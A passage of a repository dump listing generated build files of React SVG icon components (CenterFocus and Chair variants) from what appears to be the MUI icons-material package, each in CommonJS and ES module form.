    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-7 7H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'CenterFocusStrong');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5 3c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m-7 0H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'CenterFocusStrongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5 3c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m-7 0H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'CenterFocusStrongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-8 7c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'CenterFocusStrongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-8 7c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'CenterFocusStrongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-7 7H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2z\"\n}), 'CenterFocusStrongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m-7 7H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2z\"\n}), 'CenterFocusStrongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m8 0c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3 3 1.35 3 3M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m18 0c0-1.1-.9-2-2-2h-4v2h4v4h2zm-2 14h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'CenterFocusStrongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusStrongTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m8 0c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3 3 1.35 3 3M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m18 0c0-1.1-.9-2-2-2h-4v2h4v4h2zm-2 14h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'CenterFocusStrongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeak.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeak');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeak.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeak');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm7 3c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m7-11h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'CenterFocusWeakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm7 3c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m7-11h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}), 'CenterFocusWeakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2zM12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'CenterFocusWeakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m9 3c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m9-9c0-1.1-.9-2-2-2h-4v2h4v4h2zm-2 14h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'CenterFocusWeakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CenterFocusWeakTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m9 3c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m9-9c0-1.1-.9-2-2-2h-4v2h4v4h2zm-2 14h-4v2h4c1.1 0 2-.9 2-2v-4h-2z\"\n}, \"1\")], 'CenterFocusWeakTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chair.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2c0-1.86 1.28-3.41 3-3.86V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v1.14c1.72.45 3 2 3 3.86\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9c-1.1 0-2 .9-2 2v4H5v-4c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Chair');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chair.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2c0-1.86 1.28-3.41 3-3.86V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v1.14c1.72.45 3 2 3 3.86\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9c-1.1 0-2 .9-2 2v4H5v-4c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Chair');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v6c0 .55.45 1 1 1s1-.45 1-1v-2h10v2c0 .55.45 1 1 1s1-.45 1-1v-6c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v6c0 .55.45 1 1 1s1-.45 1-1v-2h10v2c0 .55.45 1 1 1s1-.45 1-1v-6c0-1.1-.9-2-2-2h-1v-2zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10h3V3H5v7h3v2H5v9h2v-3h10v3h2v-9h-3zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10h3V3H5v7h3v2H5v9h2v-3h10v3h2v-9h-3zM7 8V5h10v3zm10 8H7v-2h10zm-3-4h-4v-2h4z\"\n}), 'ChairAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14h10v2H7zm0-9h10v3H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zm0 4v2H7v-2zm-7-2v-2h4v2zM7 8V5h10v3z\"\n}, \"1\")], 'ChairAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14h10v2H7zm0-9h10v3H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H7c-1.1 0-2 .9-2 2v7h2v-3h10v3h2v-7c0-1.1-.9-2-2-2h-1v-2zm0 4v2H7v-2zm-7-2v-2h4v2zM7 8V5h10v3z\"\n}, \"1\")], 'ChairAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairOutlined.js",
